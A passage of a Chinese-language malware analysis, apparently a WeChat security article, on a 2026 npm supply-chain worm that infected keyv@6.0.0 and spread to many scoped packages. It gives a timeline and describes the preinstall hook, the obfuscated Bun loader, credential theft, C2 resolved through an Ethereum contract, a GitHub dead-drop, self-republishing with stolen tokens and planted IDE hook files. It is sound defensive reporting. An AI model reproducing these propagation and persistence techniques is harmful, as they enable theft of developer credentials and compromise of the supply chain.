runner 内存中的秘密信息。主通道先通过以太坊合约解析可用的 C2 域名，再经 HTTPS /router 发送加密结果。若 C2 返回 code，载荷会在 Bun 进程中直接 eval，形成远程代码执行能力。若主通道不可用，则退回到 GitHub dead-drop 仓库，仓库描述为 Shai-Hulud: Here We Go Again。</span><o:page></o:page></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">一旦拿到 npm token，载荷就枚举该 token 可写的所有包，复制第二阶段载荷与加载器，重写scripts.preinstall，提升 patch 版本，再直接发布，从而把同一恶意链条扩散到其他包。如果拿到 GitHub 凭据，载荷会向可写分支写入 .claude/settings.json、.claude/math_init.js、.claude/setup.mjs、.vscode/tasks.json、.vscode/setup.mjs 等文件，让开发者打开仓库或启动 Claude code/ VS Code时再次触发。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在具备 workflow scope 的 GitHub token 下，载荷会创建临时分支、注入 workflow，并把 secrets 导出到 artifact；在特定 trusted-publishing 场景中，还会借助 OIDC 和 Sigstore 生成看似合法的 SLSA provenance。SafeDep 确认该样本还包含 token-monitor / dead-man&#39;s switch，持续轮询 api.github.com/user，当token 被撤销时触发 handler。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">下面是该事件时间线整理。</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: none;mso-border-left-alt: none;mso-border-bottom-alt: none;mso-border-right-alt: none;background: #FFFFFF;mso-padding-alt: 0pt 0pt 0pt 0pt;width: 100%;"><thead><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);"><p style="text-align:center;mso-pagination:widow-orphan;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;font-weight:bold;mso-bidi-font-weight:bold;"><span leaf="">时间 (2026-08-04 UTC)</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);"><p style="text-align:center;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;font-weight:bold;mso-bidi-font-weight:bold;"><span leaf="">事件</span></span></p></td></tr></thead><tbody><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">09:02:37</span></span><o:page></o:page></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">提交 </span></span><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:宋体;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">ee2681a9</span></span><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">（未签名）：release: v6.0.0，添加 setup.mjs + Math_Symbol.js</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">09:04:30</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">提交 </span></span><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:宋体;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">d8c850c7</span></span><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">（GitHub 已验证，伪造为 github-actions[bot]）：添加 IDE 钩子文件</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">09:23:50</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">提交 </span></span><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:宋体;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">f97eabcd</span></span><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">（未签名）：删除 preinstall.test.ts（清理痕迹）</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">09:30–09:32</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">@keyv/* 作用域包发布 6.0.0 tarball（不含 preinstall 钩子但可疑）</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;font-weight:bold;mso-bidi-font-weight:bold;"><span leaf="">~09:35</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;font-weight:bold;mso-bidi-font-weight:bold;"><span leaf="">keyv@6.0.0 发布</span></span><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf=""> — 第一个携带恶意 preinstall 钩子的版本</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">~09:38</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">@thiennq/docs-viewer@1.6.2 发布（蠕虫已扩散至命名空间外）</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">09:39:45</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">向所有 @keyv/* 包添加 setup.mjs 和 Math_Symbol.js</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">10:09–10:14</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">cacheable 家族集中爆发（9 个包）</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">10:12–10:18+</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">@hubsync/web-sdk-react 爆发开始</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">10:19–10:20</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">48 个 @ornikar 包名、117 个版本，约每秒 1 次发布</span></span><o:page></o:page></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">10:32–10:46</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">集中爆发：@arv-bedrock、@deliveroo、@picsart、@onereach/@or-sdk、@servicetitan、@qlik</span></span></p></td></tr><tr><td data-colwidth="179" width="179" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">13:18</span></span></p></td><td data-colwidth="374" width="374" valign="top" style="background: rgb(255, 255, 255);border-width: 1pt;border-style: solid;border-color: rgb(193, 199, 208);padding: 5.25pt 7.5pt;"><p style="text-align:left;mso-pagination:widow-orphan;word-break:break-all;"><span style="mso-bidi-font-size:10.5pt;font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;mso-font-kerning:0.0pt;"><span leaf="">Umacloud（比集中爆发晚 2.5 小时）</span></span></p></td></tr></tbody></table><p style="margin-bottom: 10pt;line-height: 150%;word-break: break-all;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.652542372881356" data-w="708" style="width: 553.74px;height: 361.34px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2f188b8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXI0icLmnIwXFEDLojl8Biarb6fUsoDnKICTm5xJ63YvggjYtlX5AKPR0Z1umwo23JOfcRgWib4Mpl9QJpic0U3yj1icsHU03borKrpA%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">图 1 流程图</span></span></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击组件分析</span></span></h2><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">我们以</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">keyv@6.0.0</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">作为示例分析。npm install keyv@6.0.0（或将其作为依赖安装）时，npm 自动执行 package.json 中定义的 preinstall 脚本：&#34;preinstall&#34;: &#34;node setup.mjs&#34;</span><o:page></o:page></p><p style="margin-bottom: 10pt;line-height: 150%;word-break: break-all;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.40646976090014064" data-w="1422" style="width: 553.74px;height: 225.07px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0537d18c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJxXULmW4xO5cXm5BtRboo98YO3eTvf84W0ksghhdrPa73ZSod6eOE3ZO7MIUQggyZEHfoWp0rRwoic5onYpRCWpic8B3hmOLeUQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">图 2 脚本示例</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">setup.mjs</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> 是</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">obfuscator.io 风格混淆脚本。setup.mjs 是第一阶段加载器，用于准备 Bun 运行环境并拉起第二阶段载荷。脚本先判断系统 PATH 中是否已有 Bun；若不存在，则根据操作系统、CPU 架构及 musl/Alpine 环境下载对应的 Bun 压缩包到 bun-dl-* 临时目录。随后脚本优先调用系统 unzip 解压，Windows 环境可使用 PowerShell Expand-Archive，必要时回退到内置 JS ZIP 解析逻辑。Bun 准备完成后，脚本通过 execFileSync执行第二阶段载荷，执行结束后删除临时目录。</span></p><p style="margin-bottom: 10pt;line-height: 150%;word-break: break-all;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3223182511438739" data-w="1967" style="width: 553.74px;height: 178.47px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d756c3d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKzzP5xPEPlVW5xGT1libAyrQiaFGGuaibXEuOhibS9IZEDE7ibCNiaSf6JYI6rGSM1UnncRawn02ofXJSwBkj7fbBxUiag0IbphCEnicM%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">图 3 setup.mjs代码示例</span></span><o:page></o:page></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">第二阶段载荷(Math_Symbol.js)</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">经过多层混淆和加密。该载荷经过Base91 字符串表、控制流平坦化、PBKDF2-HMAC-SHA256 和 AES-256-GCM等多层混淆/加密处理，解密后包含凭证收集、加密外传、npm自传播和可信发布滥用等模块，可窃取本地、CI/CD、云平台与代码仓库凭据，并利用有效 npm/GitHub凭据继续污染其他包和仓库。</span></p><p style="margin-bottom: 10pt;line-height: 150%;word-break: break-all;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3400576368876081" data-w="2082" style="width: 553.74px;height: 188.34px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1f43e019&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXK0sEtSk5PUTXiavsGUcolUDl4KsyD8ibar7BJibeT2WWG6MxQwaC0rpia7uvFR7nWib5oicSTuLl5Zh18hzmLJey2txr9rlYr5HYwYQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">图 4 二阶段载荷混淆加密代码示例</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">C2 与外传组件不硬编码固定域名，而是通过以太坊合约动态获取 C2 地址，并向 /router 路径发送加密的凭证数据。主通道不可用时，载荷会使用 GitHub publicrepository 作为 dead-drop，仓库描述包含 Shai-Hulud: Here We Go Again，并将加密结果写入 results/目录。该机制依赖 GitHub 和公共 Ethereum RPC 等合法基础设施，提高了通信通道的隐蔽性和抗封禁能力。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, 